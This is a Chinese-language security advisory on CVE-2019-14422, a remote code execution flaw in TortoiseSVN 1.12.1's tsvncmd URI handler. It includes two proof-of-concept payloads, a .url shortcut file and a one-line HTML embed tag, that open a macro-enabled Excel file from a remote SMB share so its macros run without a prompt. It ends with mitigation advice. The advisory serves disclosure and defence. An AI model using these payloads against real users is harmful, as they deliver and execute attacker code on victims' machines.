漏洞描述
TortoiseSVN是一款非常流行的版本控制软件,它基于Apache Subversion开发,提供一个非常良好的界面。TortoiseSVN是完全免费的,很多程序员朋友都喜欢用它来管理代码。由于TortoiseSVN并不依赖于任何的IDE,所以它可以应用于任何的软件项目。
漏洞详情
漏洞编号:CVE-2019-14422
漏洞描述:TortoiseSVN 1.12.1版本中存在远程代码执行漏洞,该漏洞源于URI处理程序(Tsvncmd:)允许在Excel工作簿上进行定制的diff操作,在不受宏安全设置保护的情况下,该操作可能会用于打开远程工作簿。攻击者可利用该漏洞执行代码。
受影响版本:
TortoiseSVN 1.12.1
在TortoiseSVN中,TortoiseProc是其重要的GUI程序,该程序允许通过tsvncmd协议以web方式调用。同时TortoiseSVN的URI handler Tsvncmd允许用户自定义方式来比较两个Excel文件的差异。通过这种方式,TortoiseSVN会打开Excel文件,如果Excel文件中存在可以运行的宏脚本,Excel本身也并不会有任何的安全提醒,Excel文件会在无任何安全保护的方式下被直接打开。
Tsvncmd协议命令“tsvncmd:command:diff?path:[file1]?path2:[file2]”会导致执行一个diff命令,比较file1和file2的差别,具体如何比较,取决于文件的扩展名。对于xls文件来说,TortoiseSVN会使用diff-xls.js来比较。
PoC1
可以将下面的文件内容保存成payload.url文件,这是TortoiseSVN可以直接使用的一个文件。
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,0
[InternetShortcut]
IDList=
URL=tsvncmd:command:diff?path:\\192.168.129.169\SharedDocs\mal.xlsm?path2:\\192.168.129.169\SharedDocs\null.xlsx
HotKey=0
上面,我们通过192.168.129.169共享两个Excel文件(SMB共享)。双击这个url文件就可以直接导致打开远程的Excel文件,成功运行宏脚本。
在运行之前我们可以看一下Office的宏配置,让我们运行一个带有宏的xls文件,宏文件需要手工确认才可以运行的。
双击payload.url后,就可以看到宏文件被成功运行,在这里打开了一个计算器。
PoC2
除了上面使用url文件之外,还可以使用html文件来完成此次利用。html文件完成的利用更为简单,只需要很简单的一行代码。
<embed type=”text/html” src=”tsvncmd:command:diff?path:\\192.168.129.169\SharedDocs\mal.xlsm?path2:\\192.168.129.169\SharedDocs\null.xlsx” />
将这一行代码保存为html文件即可。
双击运行浏览器,PoC成功地运行,但这种方式需要人工允许TortoiseSVN客户端可以执行。
点击“允许”按钮,允许运行后,成功地打开了计算器。
解决建议
1.不要轻易打开可疑文件,如电子邮件、可疑链接、可疑文档等等;
2.及时安装系统补丁,使用最新版本的软件;
3.安装杀毒软件,及时更新病毒库;
4.使用“铁穹高级持续性威胁预警系统”(简称“铁穹”)发现潜在的攻击行为,及时响应和阻断,避免造成业务中断或经济损失。
请在此处获取最新版本的TortoiseSVN软件:
https://tortoisesvn.net/downloads.html
来源:freebuf.com 2019-10-31 15:34:13 by: 东巽科技2046Lab
请登录后发表评论
注册